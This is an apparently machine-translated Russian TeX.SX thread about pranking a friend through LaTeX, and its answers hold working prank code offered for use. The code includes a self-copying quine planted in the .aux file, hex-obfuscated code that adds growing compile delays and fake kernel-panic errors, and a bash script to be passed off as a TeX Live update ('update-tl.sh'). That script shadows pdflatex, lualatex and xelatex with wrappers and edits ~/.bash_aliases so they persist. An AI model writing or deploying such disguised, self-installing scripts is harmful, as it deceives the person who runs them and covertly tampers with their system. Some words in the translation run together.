Вопросы по троллингу/шуткам для TeX.SX?

Вопросы по троллингу/шуткам для TeX.SX?

У меня есть друг, который пользуется моей поддержкой LaTeX. Он не очень разбирается в технологиях, но любит LaTeX, поэтому я помогаю ему, когда что-то, что ему нужно сделать, требует больше, чем стандартный набор макросов и сред.

Нам нравится подшучивать друг над другом. У меня возникла идея подшутить над ним в следующий раз, когда он попросит о помощи LaTeX, сделав что-то относительно безобидное и легко обратимое, что заметно изменит сгенерированный PDF-файл --- или сделает что-то еще заметное при обычном использовании (La)TeX, напримерпролонгация компиляции---нежелательным образом, когда источник проблемы будет трудно обнаружить (так что это был бы случай троллинга кода, я полагаю). Я сам не очень хорош в LaTeX, поэтому подумал о том, чтобы попросить творческих предложений от TeXperts.

Как мне устроить другу неприятности, связанные с (La)TeX?

решение1

Добавьте в их auxфайл следующий фрагмент кода, который является квайном. Когда файл auxнаходится \inputв начале запуска LaTeX, код здесь создаст свою копию и запишет ее в auxфайл для следующего запуска. Кроме того, он запустит код, содержащийся \toks2ниже. Например, выбранный мной код увеличивает размер отступа в каждом абзаце, но только если TeX запускается в нечетную минуту: результаты зависят от того, когда ваш друг компилирует.

{%
  \toks@{%
    \ifx\@nodocument\relax\else
      \toks2{% Here you put whatever mean code you want
        \ifodd\time
          \everypar\expandafter{%
            \the\everypar
            \advance\parindent 2pt\relax
          }%
        \fi
      }% end of \toks2
      \edef\x{%
        \noexpand\AtBeginDocument{%
          \the\toks2\relax
          \toks@{\the\toks@}%
          \immediate\write\@auxout{%
            {%
              \toks@{\noexpand\the\toks@}%
              \noexpand\noexpand\noexpand\the\toks@
            }% end of brace group
          }% end of \immediate\write\@auxout
        }% end of \AtBeginDocument
      }% end of \edef
      \x
    \fi
  }%
  \the\toks@
}

После одного запуска auxфайл будет содержать следующую сжатую версию (в одну строку):

{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar
\expandafter {\the \everypar \advance \parindent 2pt\relax }\fi }\edef
\x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@
}\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand
\noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }

и последующие запуски оставят ту же самую сжатую версию (снова в одну строку).

Давайте рассмотрим, что происходит подробно: в (простой) группе регистру токена \toks@присваивается некоторое значение, затем используется его содержимое. Что делает это содержимое? Существует тест для проверки того, читаем ли мы aux-файл в начале или в конце выполнения: \@nodocumentво \relaxвтором случае, и мы ничего не делаем. Затем регистр toks \toks2присваивается коду, который вы фактически хотите выполнить. Следующая \edef\x{...}\xконструкция расширяет ...до

\AtBeginDocument{%
  <contents of \toks2>\relax
  \toks@{<contents of \toks@>}%
  \immediate\write\@auxout{%
    {%
      \toks@{\the\toks@}%
      \noexpand\the\toks@
    }% end of brace group
  }% end of \immediate\write\@auxout
}% end of \AtBeginDocument

затем выполняет этот код. \AtBeginDocumentзапустит свой аргумент немного позже, как только LaTeX снова будет готов записать в auxфайл (в настоящее время он его читает). Итак, как только LaTeX готов записать в файл aux, он выполняет ваш код (который был временно сохранен в \toks2), затем сохраняет <contents of \toks@>обратно в \toks@(этот регистр токена мог использоваться другим кодом между этим) и записывает следующее в auxфайл (помните, что \writeрасширяется):

{%
  \toks@{<contents of \toks@>}%
  \the\toks@
}% end of brace group

Это именно тот исходный код, который таким образом попадает в auxфайл для следующего запуска LaTeX.

Надеюсь, выбранный мной код \toks2достаточно прост для понимания:

\ifodd\time
  \everypar\expandafter{%
    \the\everypar
    \advance\parindent 2pt\relax
  }%
\fi

если время (в минутах с начала дня) является нечетным числом, то в каждом абзаце выполните то, что уже было сделано в каждом абзаце, а также увеличьте отступ абзаца ( \parindent) на 2 пункта. Например, предположим, что вы добавляете первый или второй фрагмент кода выше в auxфайл, сгенерированный запуском pdflatexдокумента ниже. Тогда документ будет нормальным, если он скомпилирован в четную минуту, а в противном случае будет иметь постоянно растущий отступ абзаца.

\documentclass{article}
\usepackage{lipsum}
\begin{document}
\lipsum[1-10]
\end{document}

решение2

Компилировать с LuaLaTeX

\documentclass{article}

\usepackage{lipsum}

^^5c^^75^^73^^65^^70^^61^^63^^6b^^61^^67^^65^^20
^^7b^^63^^68^^69^^63^^6b^^65^^6e^^69^^7a^^65^^7d
^^5c^^72^^61^^6e^^64^^6f^^6d^^75^^63^^6c^^63^^20

\begin{document}
\lipsum[1]
\end{document}

Также \randomerrorвместо \randomuclcможет быть приятно.

введите описание изображения здесь

решение3

Пожалуйста, следуйте инструкциям после каждого забега, возможно, вы на что-то наткнулись:)

Для тех, кто не решился попробовать, вот что он делает: выдает сообщение об ошибке (здесь из буфера справки Emacs Tex), где номер страницы является случайным:

ERROR: LaTeX Error: I'm stymied; problem of unknown type on page 2

--- TeX said ---
 Re-run LaTeX at least three times to give a chance to the kernel
 to re-examine this intriguing problem.
 You may have encountered one of the $1,000,000 kernel bug.

See the LaTeX manual or LaTeX Companion for explanation.
Type  H <return>  for immediate help.
 ...                                              

l.49 \end{document}

--- HELP ---
From the .log file...

You're in trouble here.  Try typing  <return>  to proceed.
If that doesn't work, type  X <return>  to quit.

и более того, это сообщение появляется после все более и более длительных задержек в конце каждой новой компиляции (время компиляции составляет порядка n^2/2секунд, где n- количество предыдущих запусков).

Шестнадцатеричное преобразование для обфускации кода немного длинновато, возможно, можно было бы использовать шестнадцатеричные числа просто для обфускации, а не \inputтам, где файл будет содержать код ниже.

\documentclass{article}
\usepackage{lipsum}

^^5c^^6d^^61^^6b^^65^^61^^74^^6c^^65^^74^^74^^65^^72
^^5c^^41^^74^^45^^6e^^64^^44^^6f^^63^^75^^6d^^65^^6e^^74^^20^^7b%
^^5c^^40^^69^^66^^75^^6e^^64^^65^^66^^69^^6e^^65^^64^^7b^^40^^6b^^65^^72%
^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7d^^7b%
^^5c^^67^^64^^65^^66
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^30^^7d^^7d^^7b^^7d^^5c^^69^^6d^^6d^^65^^64^^69^^61^^74^^65
^^5c^^77^^72^^69^^74^^65^^20^^5c^^40^^61^^75^^78^^6f^^75^^74^^7b%
^^5c^^67^^64^^65^^66^^20^^5c^^6e^^6f^^65^^78^^70^^61^^6e^^64
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^5c^^74^^68^^65^^20^^5c^^6e^^75^^6d^^65^^78^^70^^72
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^2b^^32^^2a%
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^36^^35^^35^^33^^36^^5c^^72^^65^^6c^^61^^78^^20^^7d^^7d%
^^5c^^70^^64^^66^^72^^65^^73^^65^^74^^74^^69^^6d^^65^^72
^^5c^^6c^^6f^^6f^^70^^20^^5c^^69^^66^^6e^^75^^6d
^^5c^^70^^64^^66^^65^^6c^^61^^70^^73^^65^^64^^74^^69^^6d^^65^^20^^3c%
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65%
^^5c^^73^^70^^61^^63^^65^^20^^5c^^72^^65^^70^^65^^61^^74
^^5c^^40^^6c^^61^^74^^65^^78^^40^^65^^72^^72^^6f^^72^^7b^^49^^27^^6d
^^73^^74^^79^^6d^^69^^65^^64^^3b^^20^^70^^72^^6f^^62^^6c^^65^^6d
^^6f^^66^^20^^75^^6e^^6b^^6e^^6f^^77^^6e^^20^^74^^79^^70^^65^^20^^6f^^6e
^^70^^61^^67^^65
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^31^^30^^20^^0a^^20^^52^^65^^2d^^72^^75^^6e^^20^^4c^^61^^54^^65^^58
^^61^^74^^20^^6c^^65^^61^^73^^74^^20^^74^^68^^72^^65^^65
^^74^^69^^6d^^65^^73^^20^^74^^6f^^20^^67^^69^^76^^65^^20^^61
^^63^^68^^61^^6e^^63^^65^^20^^74^^6f^^20^^74^^68^^65
^^6b^^65^^72^^6e^^65^^6c^^0a^^20^^74^^6f^^20^^72^^65^^2d^^65^^78^^61^^6d%
^^69^^6e^^65^^20^^74^^68^^69^^73^^20^^69^^6e^^74^^72^^69^^67^^75^^69^^6e%
^^67^^20^^70^^72^^6f^^62^^6c^^65^^6d^^2e^^0a^^20^^59^^6f^^75^^20^^6d^^61%
^^79^^20^^68^^61^^76^^65^^20^^65^^6e^^63^^6f^^75^^6e^^74^^65^^72^^65^^64
^^6f^^6e^^65^^20^^6f^^66^^20^^74^^68^^65
^^5c^^73^^74^^72^^69^^6e^^67^^20^^24^^31^^2c^^30^^30^^30^^2c^^30^^30^^30
^^6b^^65^^72^^6e^^65^^6c^^20^^62^^75^^67^^7d%
^^5c^^40^^65^^68^^64^^7d^^5c^^6d^^61^^6b^^65^^61^^74^^6f^^74^^68^^65^^72

\begin{document}
\lipsum[1-50]

\end{document}

Шестнадцатеричный код (с пробелами в конце строк) делает

\makeatletter\AtEndDocument{%
  \@ifundefined{@kernelpanictime}{\gdef\@kernelpanictime{0}}{}%
  \immediate\write\@auxout 
                {\gdef\noexpand\@kernelpanictime{%
                  \the\numexpr\@kernelpanictime+2*\pdfuniformdeviate
                  65536\relax}}% 
  \pdfresettimer
                \loop
                  \ifnum\pdfelapsedtime<\@kernelpanictime\space
                \repeat
  \@latex@error{I'm stymied; problem of unknown type  on page
  \pdfuniformdeviate 10 ^^J
  Re-run LaTeX at least three times to give a chance to the kernel^^J
  to re-examine this intriguing problem.^^J
  You may have encountered one of the \string$1,000,000 kernel bug}\@ehd 
}\makeatother

решение4

Опубликовано как ответ, а не комментарий, так как код слишком длинный. На основе ответа Бруно Ле Флоха, с небольшим изменением, на которое намекнул egreg в чате.

Добавьте это к вашему aux:

{%
  \toks@{%
    \ifx\@nodocument\relax\else
      \toks2{% Here you put whatever mean code you want
        \ifodd\time
          \everypar\expandafter{%
            \the\everypar
            \ifdefined\pdf@elapsedtime
              \ifodd\pdf@elapsedtime
                \advance\parindent 2pt\relax
              \else
                \advance\parindent -2pt\relax
              \fi
            \else
              \advance\parindent 2pt\relax
            \fi
          }%
        \fi
      }% end of \toks2
      \edef\x{%
        \noexpand\AtBeginDocument{%
          \the\toks2\relax
          \toks@{\the\toks@}%
          \immediate\write\@auxout{%
            {%
              \toks@{\noexpand\the\toks@}%
              \noexpand\noexpand\noexpand\the\toks@
            }% end of brace group
          }% end of \immediate\write\@auxout
        }% end of \AtBeginDocument
      }% end of \edef
      \x
    \fi
  }%
  \the\toks@
}

Если вы скомпилируете это с помощью pdflatex(или lualatexс pdftexcmdsзагруженным пакетом), то изменения \parindentбудут отменяться каждую секунду во время компиляции, любой другой компилятор выдаст то же самое, что и код Бруно.


Может ли быть что-то хуже? О да, может! Вместо того, чтобы напрямую редактировать файл aux (что было бы отменено очисткой каталога сборки), давайте немного подправим исполняемые файлы.

ПРИМЕЧАНИЕ: Как Дэниел упомянул в комментариях ниже, троллить неопытных людей действительно подло, поэтому проявите немного здравого смысла, чтобы оценить, кто из них может понять, что происходит, при более близком рассмотрении.Кроме того, я не несу никакой ответственности за потерянных друзей или постоянное недоверие к присланным вами сценариям ;)

В следующий раз, когда ваш друг попросит о поддержке, отправьте ему или ей этот файл как update-tl.sh:

#!/bin/bash
pdf_path=`which pdflatex`
tex_path=${pdf_path:0:-9}
mkdir -p ~/.tex-updates/
cd ~/.tex-updates
touch pdflatex
chmod +x pdflatex
echo '#!/bin/bash' > pdflatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> pdflatex
echo 'jobname=${BASH_REMATCH[1]}' >> pdflatex
echo 'if [ ! -f "$jobname.aux" ]' >> pdflatex
echo 'then' >> pdflatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 3pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> pdflatex
echo 'fi' >> pdflatex
echo "$tex_path/pdflatex \$1" >> pdflatex
touch lualatex
chmod +x lualatex
echo '#!/bin/bash' > lualatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> lualatex
echo 'jobname=${BASH_REMATCH[1]}' >> lualatex
echo 'if [ ! -f "$jobname.aux" ]' >> lualatex
echo 'then' >> lualatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -3pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> lualatex
echo 'fi' >> lualatex
echo "$tex_path/lualatex \$1" >> lualatex
touch xelatex
chmod +x xelatex
echo '#!/bin/bash' > xelatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> xelatex
echo 'jobname=${BASH_REMATCH[1]}' >> xelatex
echo 'if [ ! -f "$jobname.aux" ]' >> xelatex
echo 'then' >> xelatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> xelatex
echo 'fi' >> xelatex
echo "$tex_path/xelatex \$1" >> xelatex
echo 'PATH="~/.tex-updates:$PATH"' >> ~/.bash_aliases

К сожалению, это работает только под Linux и, вероятно, легко сломается, если добавить полные пути или дополнительные аргументы в pdflatex, но общая идея такова:

  • Получить местоположение исходных исполняемых файлов
  • создайте каталог для хранения «обновленных» исполняемых файлов
  • создать несколько файлов с соответствующими разрешениями на выполнение
  • в каждом файле проверьте, существует ли уже aux-файл, и если нет, создайте его с помощью кода выше
  • затем позвольте новому скрипту вызвать старый исполняемый файл для создания выходных данных с потенциально измененным aux-файлом
  • наконец, добавьте этот новый каталог в переменную среды $PATH

Несколько интересных фактов:

  • это работает только если bashиспользуется, в противном случае ~/.bashrcне используется
  • код добавляется только в том случае, если aux-файл еще не существует
  • он работает только после того, как ~/.bashrcполучен исходный код, то есть после нового входа в систему или открытия нового окна терминала

РЕДАКТИРОВАТЬЕще больше интересных фактов:

  • выполнение which pdflatexвозвращает оригинал pdflatex, в то время как pdflatex test.texна самом деле выполняет новыйpdflatex
  • в многопользовательской системе это влияет только на пользователя, который запускаетupdate-tl.sh
  • ничего не сломалось навсегда, простое удаление [pdf|lua|xe]latexскриптов ~/.tex-updatesи дополнительных файлов возвращает все в нормальное состояние :) (в отличие от моей первоначальной идеи изменить исполняемые файлы внутри каталога bin:P)

Связанный контент